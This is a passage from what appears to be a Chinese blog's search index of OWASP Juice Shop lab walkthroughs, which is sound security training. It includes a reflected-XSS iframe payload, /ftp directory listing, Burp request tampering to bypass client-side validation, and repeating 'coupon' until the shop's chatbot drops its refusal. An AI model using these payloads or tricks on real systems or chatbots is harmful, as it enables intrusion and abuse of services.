XSS，地址页面不存在该漏洞，需要换一个方向。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:3","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第二步尝试地址页面的-xss"},{"categories":["security"],"collections":["juice-shop"],"content":"🛒 第三步：下单 将任意商品添加到购物车，完成购买流程： 添加购物车 → 结账 → 选择地址 → 选择送货速度 → 选择付款方式（信用卡或借记卡，随便填写卡信息）→ 下单并支付。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:4","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第三步下单"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第四步：查看追踪订单页面 进入\u0026quot;追踪订单\u0026quot;页面，观察 URL 中的 id 参数。 注意到 URL 中的 id 参数值与页面上显示的订单号是一样的，这里可能存在相同的前端代码片段。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:5","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第四步查看追踪订单页面"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第五步：注入有效负载 将 URL 中 id 参数的值替换为 XSS 有效负载： \u0026lt;iframe src=\u0026#34;javascript:alert(`xss`)\u0026#34;\u0026gt; ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:6","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第五步注入有效负载"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第六步：完成挑战 按下回车后可能没有立即反应，此时只需 F5 刷新一下即可触发，警告框弹出后确认关闭，挑战完成。 ","date":"2026-04-02","objectID":"/posts/2026/juice-shop-reflected-xss/:2:7","tags":["juice-shop","XSS","反射型XSS"],"title":"【juice-shop】★★ Reflected XSS：反射型跨站脚本攻击","uri":"/posts/2026/juice-shop-reflected-xss/#-第六步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过目录列表漏洞访问 /ftp 目录，发现并下载机密文件。","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Confidential Document：机密文件泄露 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:0:0","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#juice-shop-confidential-document机密文件泄露"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r分析和篡改应用程序中直接传递文件的链接。 您正在查找的文件没有任何保护措施。一旦找到它，您也可以访问它。 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:1:0","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:2:0","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 发现入口 在网站的 http://localhost:3000/#/about 页面中，发现了一个文件链接： http://localhost:3000/ftp/legal.md 注意到 URL 中包含 /ftp/ 子目录，这暗示可能存在目录遍历漏洞。 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:2:1","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#-发现入口"},{"categories":["security"],"collections":["juice-shop"],"content":"🚪 目录列表漏洞 尝试删除文件名，直接访问目录： http://localhost:3000/ftp/ 惊人的发现：服务器启用了目录列表功能，直接显示了 /ftp/ 目录下的所有文件！ ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:2:2","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#-目录列表漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 完成挑战 逐个访问或下载目录中的所有文件，即可找到机密文件并完成挑战。 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:2:3","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#-完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 源码审计：编码挑战 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:3:0","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#0x03-源码审计编码挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 找到它 (Find It) 漏洞位于第 2、3、4 行：/ftp 路由直接使用 express.static() 提供静态文件服务，且未禁用目录列表，导致攻击者可以： 浏览目录内容 下载任意文件 发现敏感信息 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:3:1","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#-找到它-find-it"},{"categories":["security"],"collections":["juice-shop"],"content":"🛠️ 修复它 (Fix It) 选项 修复方式 安全评价 结论 Fix 1 删除单个文件的路由 ❌ 仍允许目录列表，攻击者可枚举所有文件 不完整 Fix 2 完全删除 /ftp 文件夹 ✅ 彻底消除漏洞，合法内容迁移到安全位置 真·修复 Fix 3 删除单个文件的路由 ❌ 同 Fix 1，目录列表仍存在 不完整 Fix 4 仅禁用目录列表 ⚠️ 阻止了目录浏览，但若攻击者知道文件名仍可下载 防守不足 Fix 2 才是正确答案的原因： // ❌ 漏洞代码 app.use(\u0026#39;/ftp\u0026#39;, express.static(\u0026#39;ftp\u0026#39;)); // 启用目录列表 + 文件下载 // ✅ 修复代码 // 1. 删除 /ftp 目录 // 2. 将合法的静态文件（如订单 PDF）移到受保护的位置 // 3. 实现访问控制（仅授权用户可下载） 三个选项的防护强度排序： Fix 2（完全删除）\u0026gt; Fix 4（禁用列表）\u0026gt; Fix 1/3（删除路由）\u0026gt; 无防护（原始漏洞） 关键洞察： 仅禁用目录列表（Fix 4）是\u0026quot;安全假象\u0026quot;——攻击者可通过字典攻击或其他方式猜测文件名 完全删除不必要的目录（Fix 2）是最彻底的解决方案 合法的文件（如订单 PDF）应该放在受鉴权保护的端点，而不是公开目录 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-confidential-document/:3:2","tags":["juice-shop","目录遍历","信息泄露"],"title":"【juice-shop】★ Confidential Document：机密文件泄露","uri":"/posts/2026/juice-shop-confidential-document/#-修复它-fix-it"},{"categories":["security"],"collections":["juice-shop"],"content":"发现隐藏的 security.txt 文件，了解网站安全政策和漏洞报告流程。","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Security Policy：安全政策披露 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:0:0","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#juice-shop-security-policy安全政策披露"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r本次挑战要求你扮演一名道德黑客。 毫无疑问，在对应用程序进行任何研究之前，您都希望阅读安全政策。 作为正派人士，你会在未经应用程序所有者同意的情况下贸然发起攻击吗？ 您可能还想阅读现行的安全政策或漏洞悬赏计划。 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:1:0","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 …… 这个我没看解答真做不出来( ╯□╰ ) 根据提示，需要查找网站的安全政策文件。类似于 robots.txt 的作用，security.txt 是一个标准化的文件，用于告诉白帽黑客如何向网站所有者报告漏洞。 按照 RFC 9116 标准，该文件应位于以下路径： http://127.0.0.1:3000/.well-known/security.txt 访问该路径即可获得网站的安全政策信息，完成挑战。 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:2:0","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 知识扩展 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:3:0","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#0x03-知识扩展"},{"categories":["security"],"collections":["juice-shop"],"content":"📚 security.txt 与 robots.txt 的区别 文件名 目的 受众 标准文档 robots.txt 指导搜索引擎爬虫抓取策略 搜索引擎爬虫 事实标准 security.txt 指导白帽黑客漏洞报告流程 安全研究人员 RFC 9116 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:3:1","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#-securitytxt-与-robotstxt-的区别"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 关键认知 security.txt 遵循 RFC 9116 标准（2022 年 4 月发布） 文件必须放在 /.well-known/security.txt 路径下 白帽黑客应在未经授权前，先查阅此文件了解报告流程 这体现了\u0026quot;负责任披露\u0026quot;的安全文化 ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:3:2","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#-关键认知"},{"categories":["security"],"collections":["juice-shop"],"content":"0x04 参考资料 📖 OWASP Juice Shop 官方解答 🔐 Security.txt 官方网站 📋 RFC 9116 - A File Format to Aid in Security Vulnerability Disclosure ","date":"2026-04-01","objectID":"/posts/2026/juice-shop-security-policy/:4:0","tags":["juice-shop","security.txt","信息泄露"],"title":"【juice-shop】★ Security Policy：安全政策披露","uri":"/posts/2026/juice-shop-security-policy/#0x04-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"掌握隐藏的快捷键，一键清空堆积如山的“挑战已解决”通知。","date":"2026-03-31","objectID":"/posts/2026/juice-shop-mass-dispel/","tags":["juice-shop","UI/UX","隐藏功能"],"title":"【juice-shop】★ Mass Dispel：通知清理大师","uri":"/posts/2026/juice-shop-mass-dispel/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Mass Dispel：通知清理大师 当你一口气解开多个谜题时，满屏的“挑战已解决”通知可能会让你分心。这个挑战考察的是你对 UI 交互细节的观察力，以及寻找文档隐藏功能的能力。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-mass-dispel/:0:0","tags":["juice-shop","UI/UX","隐藏功能"],"title":"【juice-shop】★ Mass Dispel：通知清理大师","uri":"/posts/2026/juice-shop-mass-dispel/#juice-shop-mass-dispel通知清理大师"},{"categories":["security"],"collections":["juice-shop"],"content":"0x00 前置要求 (Prerequisites) 重启服务：由于通知在弹出后会自动消失，此挑战在服务器重启后最易解决（此时所有已解挑战会重新推送到前端）。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-mass-dispel/:1:0","tags":["juice-shop","UI/UX","隐藏功能"],"title":"【juice-shop】★ Mass Dispel：通知清理大师","uri":"/posts/2026/juice-shop-mass-dispel/#0x00-前置要求-prerequisites"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r线索来源：要么查阅官方配套文档，要么直接检查通知的 UI 元素。 最佳时机：此问题在服务器重启后，大量通知重推时最易解决。 便捷功能：仔细检查浏览器中任何“挑战已解决”通知的交互逻辑，寻找其快捷操作。 🎓 实战动作 (Action)\r• 目标：一次性关闭多个“挑战已解决”的通知。\r• 操作：在任意一个通知卡片上，按住 Shift 键的同时点击鼠标左键。\r","date":"2026-03-31","objectID":"/posts/2026/juice-shop-mass-dispel/:2:0","tags":["juice-shop","UI/UX","隐藏功能"],"title":"【juice-shop】★ Mass Dispel：通知清理大师","uri":"/posts/2026/juice-shop-mass-dispel/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现过程 1. 环境准备 重启 Juice Shop 服务。当你重新进入页面时，之前解决的所有挑战通知会像瀑布一样弹出来。 2. 执行快捷关闭 \u0026lt;按S-chick\u0026gt;（Shift+鼠标左键），完成！ ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-mass-dispel/:3:0","tags":["juice-shop","UI/UX","隐藏功能"],"title":"【juice-shop】★ Mass Dispel：通知清理大师","uri":"/posts/2026/juice-shop-mass-dispel/#0x02-实战复现过程"},{"categories":["security"],"collections":["juice-shop"],"content":"面对一个只会找借口的机器人，有时候最简单的攻击方式就是不停地重复诉求。","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术 如果一个机器人拒绝了你的请求，那可能只是因为它还没被你问烦。在安全领域，这种针对逻辑限制的反复尝试有时能产生意想不到的效果。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/:0:0","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/#juice-shop-bully-chatbot对付机器人的复读机战术"},{"categories":["security"],"collections":["juice-shop"],"content":"0x00 前置要求 (Prerequisites) 身份认证：必须先执行 Login（登录），否则对话框不会响应你的任何消息。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/:1:0","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/#0x00-前置要求-prerequisites"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r软硬不吃：机器人现在正编造各种借口拒绝给你优惠券。 暴力沟通：像小孩子一样反复询问，在这种情况下反而可能助你成功。 坚持到底：不，说真的，继续问就是了。 🎓 实战动作 (Action)\r• 操作：打开侧边栏的客服聊天机器人。\r• 触发词：向机器人发送关键字 coupon（注意必须使用英文）。\r• 频率：不要停，一直发送，直到它妥协为止。\r","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/:2:0","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现过程 1. 建立会话 首先需要确保处于登录状态，点击侧边栏进入机器人对话界面。 2. 发起询问 对机器人发送关键字 coupon。起初它会以各种理由拒绝你。 3. 复读机攻势 一直不停地发送 coupon。虽然可以使用 Burp Suite 的 Intruder 模块进行自动化爆破，但因为触发阈值并不高，手动狂按回车也能快速完成。 4. 拿到奖励 在你的坚持不懈下，机器人最终会给出优惠券代码。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/:3:0","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/#0x02-实战复现过程"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 极简总结 (Scan-Friendly) 目标：客服机器人 Chatbot。 手段：关键词重复轰炸（Repeat Request）。 漏洞本质：后端逻辑限流/计数器缺失。机器人可能设置了“被询问 X 次后解锁回复”的简单逻辑，而没有针对单一会话的频率限制。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-bully-chatbot/:3:1","tags":["juice-shop","社交工程","逻辑漏洞"],"title":"【juice-shop】★ Bully Chatbot：对付机器人的“复读机”战术","uri":"/posts/2026/juice-shop-bully-chatbot/#-极简总结-scan-friendly"},{"categories":["security"],"collections":["juice-shop"],"content":"这里并没有真正的黑客行为，只需一点点耐心去阅读那没人看的细则。","date":"2026-03-31","objectID":"/posts/2026/juice-shop-privacy-policy/","tags":["juice-shop","杂项"],"title":"【juice-shop】★ Privacy Policy：最简单的“阅读理解”","uri":"/posts/2026/juice-shop-privacy-policy/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Privacy Policy：最简单的“阅读理解” 这大概是整个靶场里最像“冷笑话”的一个挑战。在充满漏洞的世界里，有时候最难的关卡竟然是让你静下心来读完一段文字。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-privacy-policy/:0:0","tags":["juice-shop","杂项"],"title":"【juice-shop】★ Privacy Policy：最简单的“阅读理解”","uri":"/posts/2026/juice-shop-privacy-policy/#juice-shop-privacy-policy最简单的阅读理解"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r真诚建议：我们甚至不会要求你确认你已经读过，请真的读一下吧。 顺便解决：在使用应用程序的过程中，你很可能会无意间解决这个难题。 爬虫友好：任何自动爬虫或蜘蛛工具都可能帮你直接触发这个挑战。 大实话：这里并没有真正的黑客行为。 🎓 实战引导 (Walkthrough)\r• 操作：确保你已登录，然后打开 Account（账户） 菜单。 • 路径：进入 Privacy \u0026 Security（隐私与安全） 子菜单，点击 Privacy Policy（隐私政策）。 • 真相：这个挑战其实是个玩笑，因为在互联网时代，真的没人会去看那些小字说明……🙈\r","date":"2026-03-31","objectID":"/posts/2026/juice-shop-privacy-policy/:1:0","tags":["juice-shop","杂项"],"title":"【juice-shop】★ Privacy Policy：最简单的“阅读理解”","uri":"/posts/2026/juice-shop-privacy-policy/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现过程 1. 寻找入口 根据引导，在账户设置中找到隐私政策的链接。 2. 执行动作 没什么可说的，直接点击并查看即可。 3. 挑战达成 当你打开页面的一瞬间，计分板就会叮的一声提示挑战成功。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-privacy-policy/:2:0","tags":["juice-shop","杂项"],"title":"【juice-shop】★ Privacy Policy：最简单的“阅读理解”","uri":"/posts/2026/juice-shop-privacy-policy/#0x02-实战复现过程"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 极简总结 (Scan-Friendly) 目标：/privacy-policy 页面。 手段：鼠标左键单击。 反思：有时候，最简单的安全合规就是知情权，虽然我们总是习惯性地点击“同意”。 ","date":"2026-03-31","objectID":"/posts/2026/juice-shop-privacy-policy/:2:1","tags":["juice-shop","杂项"],"title":"【juice-shop】★ Privacy Policy：最简单的“阅读理解”","uri":"/posts/2026/juice-shop-privacy-policy/#-极简总结-scan-friendly"},{"categories":["security"],"collections":["juice-shop"],"content":"绕过前端校验，利用 Burp Suite 拦截并篡改请求，注册一个空数据用户。","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★ Empty User Registration：注册一个“隐形人” 如何创建一个“不存在”的用户？当前端的必填项校验很严格时，直接去跟后端的 API 聊聊是个好主意。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/:0:0","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/#juice-shop-empty-user-registration注册一个隐形人"},{"categories":["security"],"collections":["juice-shop"],"content":"0x00 前置要求 (Prerequisites) 推荐关卡：建议先完成 Repetitive Registration（非强制，但有助于理解注册逻辑）。 核心武器：启动 Burp Suite。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/:1:0","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/#0x00-前置要求-prerequisites"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r考虑拦截请求并修改内容。 （底层逻辑：前端表单的必填项限制防君子不防黑客，我们需要绕过前端，直接向 API 喂“空数据”。） 🎓 实战动作 (Action)\r• 抓包：打开 Burp 进行监听，使用 Burp 浏览器访问网页。 • 注册：正常填写表单，抓取合法的注册请求包。 • 篡改：将包发送到重放器 (Repeater)，清空关键字段的值，强行发包。\r","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/:2:0","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 1. 制造合法请求 打开用户注册界面，先随便输入一些合法数据进行一次正常注册。 这里邮箱填了 2@2.com，用户名和密码都是 5 个 1（随便写就行）。 2. 拦截与重放 (Repeater) 完成注册之后，在 Burp 中找到刚才的注册用户包和对应的 API。 动作：将这个请求包直接发送到 重放器 (Repeater)。 3. 篡改与触发陷阱 在 Repeater 中定位到提交的 JSON 数据部分： 将 email 和 password 改为 空字符 \u0026quot;\u0026quot;。 顺手把前端用来多余校验的 passwordRepeat 给删了。 点击 Send 发送请求。后端 API 没有进行二次校验，直接入库，成功注册！ ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/:3:0","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"💡 极简总结 (Scan-Friendly) 目标：注册接口 API。 手段：Burp 拦截，字段留空 \u0026quot;\u0026quot;。 漏洞本质：后端过度信任前端，缺乏数据完整性校验。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-empty-user-registration/:3:1","tags":["juice-shop","Burp Suite","逻辑漏洞"],"title":"【juice-shop】★★ Empty User Registration：注册一个“隐形人”","uri":"/posts/2026/juice-shop-empty-user-registration/#-极简总结-scan-friendly"},{"categories":["security"],"collections":["juice-shop"],"content":"前端限制评分最低 1 星，但直接改 API 请求体就能提交 0 星。","date":"2026-03-30","objectID":"/posts/2026/juice-shop-zero-stars/","tags":["juice-shop","Burp Suite","API 篡改"],"title":"【juice-shop】★ Zero Stars：给出零星好评","uri":"/posts/2026/juice-shop-zero-stars/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Zero Stars：给出零星好评 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-zero-stars/:0:0","tags":["juice-shop","Burp Suite","API 篡改"],"title":"【juice-shop】★ Zero Stars：给出零星好评","uri":"/posts/2026/juice-shop-zero-stars/#juice-shop-zero-stars给出零星好评"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r在尝试绕过 API 之前，不妨先试试 UI 本身能不能直接操作。 🎓 实战动作 (Action)\r• 目标：提交一条评分为 0 星的反馈。 • 工具：Burp Suite（Repeater 重放器）。 • 思路：前端星级控件限制最低 1 星，但后端 API 不做范围校验。\r","date":"2026-03-30","objectID":"/posts/2026/juice-shop-zero-stars/:1:0","tags":["juice-shop","Burp Suite","API 篡改"],"title":"【juice-shop】★ Zero Stars：给出零星好评","uri":"/posts/2026/juice-shop-zero-stars/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 1. 打开客户反馈界面 进入客户反馈页面，可以匿名提交——UI 上星级控件最低只能选 1 星： 2. 先正常提交一次，抓包 随便填写内容，提交一次反馈，在 Burp 中观察请求。调用的是 /api/Feedbacks/，请求体结构很简单： 3. 发送到 Repeater，篡改 rating 将请求发到 Repeater，把 rating 的值从 1 改成 0，发送： 4. 0 星提交成功 服务器返回 201 Created，0 星反馈成功写入——后端对 rating 的值没有做任何范围校验： 结论：星级范围限制（最低 1 星）只存在于前端控件，后端 API 对 rating 字段的值照单全收。只要绕过 UI 直接构造请求，任意数值都可以提交。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-zero-stars/:2:0","tags":["juice-shop","Burp Suite","API 篡改"],"title":"【juice-shop】★ Zero Stars：给出零星好评","uri":"/posts/2026/juice-shop-zero-stars/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 参考资料 📖 OWASP：客户端安全控制不可信赖 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-zero-stars/:3:0","tags":["juice-shop","Burp Suite","API 篡改"],"title":"【juice-shop】★ Zero Stars：给出零星好评","uri":"/posts/2026/juice-shop-zero-stars/#0x03-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"用 Burp 重放器删掉\"重复密码\"字段，直接绕过前端校验完成注册。","date":"2026-03-30","objectID":"/posts/2026/juice-shop-repetitive-registration/","tags":["juice-shop","Burp Suite","注册绕过"],"title":"【juice-shop】★ Repetitive Registration：多余的重复密码","uri":"/posts/2026/juice-shop-repetitive-registration/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Repetitive Registration：多余的重复密码 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-repetitive-registration/:0:0","tags":["juice-shop","Burp Suite","注册绕过"],"title":"【juice-shop】★ Repetitive Registration：多余的重复密码","uri":"/posts/2026/juice-shop-repetitive-registration/#juice-shop-repetitive-registration多余的重复密码"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 核心线索 (Hints)\r可以通过巧妙操作 UI，或者完全绕过 UI 来解决。 注册表单里最明显的重复项，就是\u0026ldquo;重复密码\u0026quot;字段。 试试在\u0026quot;重复密码\u0026quot;字段里填入空值或不同的值提交注册。 🎓 实战动作 (Action)\r• 目标：绕过\"重复密码\"校验，完成注册。 • 工具：Burp Suite（代理拦截 + Repeater 重放器）。 • 思路：校验逻辑只在前端，后端根本不在乎这个字段存不存在。\r","date":"2026-03-30","objectID":"/posts/2026/juice-shop-repetitive-registration/:1:0","tags":["juice-shop","Burp Suite","注册绕过"],"title":"【juice-shop】★ Repetitive Registration：多余的重复密码","uri":"/posts/2026/juice-shop-repetitive-registration/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 1. 抓包 开启 Burp 监听，用 Burp 内置浏览器打开注册页面，填写信息后提交，抓到注册请求： 2. 发送到 Repeater，删掉 passwordRepeat 字段 将请求发送到 Repeater，在请求体中找到 passwordRepeat 这一行，直接删掉，然后发送： 3. 注册成功 服务器返回 201 Created，注册成功——后端对这个字段的存在与否毫不在意： 结论：\u0026ldquo;重复密码\u0026quot;的一致性校验完全由前端 JavaScript 完成，后端 API 从未验证两次密码是否匹配，甚至不要求该字段存在。这个字段对服务器来说是透明的——留着它，纯粹是做个样子。 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-repetitive-registration/:2:0","tags":["juice-shop","Burp Suite","注册绕过"],"title":"【juice-shop】★ Repetitive Registration：多余的重复密码","uri":"/posts/2026/juice-shop-repetitive-registration/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 参考资料 📖 Pwning OWASP Juice Shop Pt.14 - Repetitive Registration ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-repetitive-registration/:3:0","tags":["juice-shop","Burp Suite","注册绕过"],"title":"【juice-shop】★ Repetitive Registration：多余的重复密码","uri":"/posts/2026/juice-shop-repetitive-registration/#0x03-参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"Juice Shop 挑战 Missing Encoding —— 商品图片因地址里的特殊字符未做 URL 编码而加载失败，补全编码后即可正常显示。","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★ Missing Encoding：消失的图片 ","date":"2026-03-30","objectID":"/posts/2026/juice-shop-missing-encoding/:0:0","tags":["juice-shop","编码","URL"],"title":"【juice-shop】★ Missing Encoding：消失的图片","uri":"/posts/2026/juice-shop-missing-encoding/#juice-shop-missing-encoding消失的图片"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 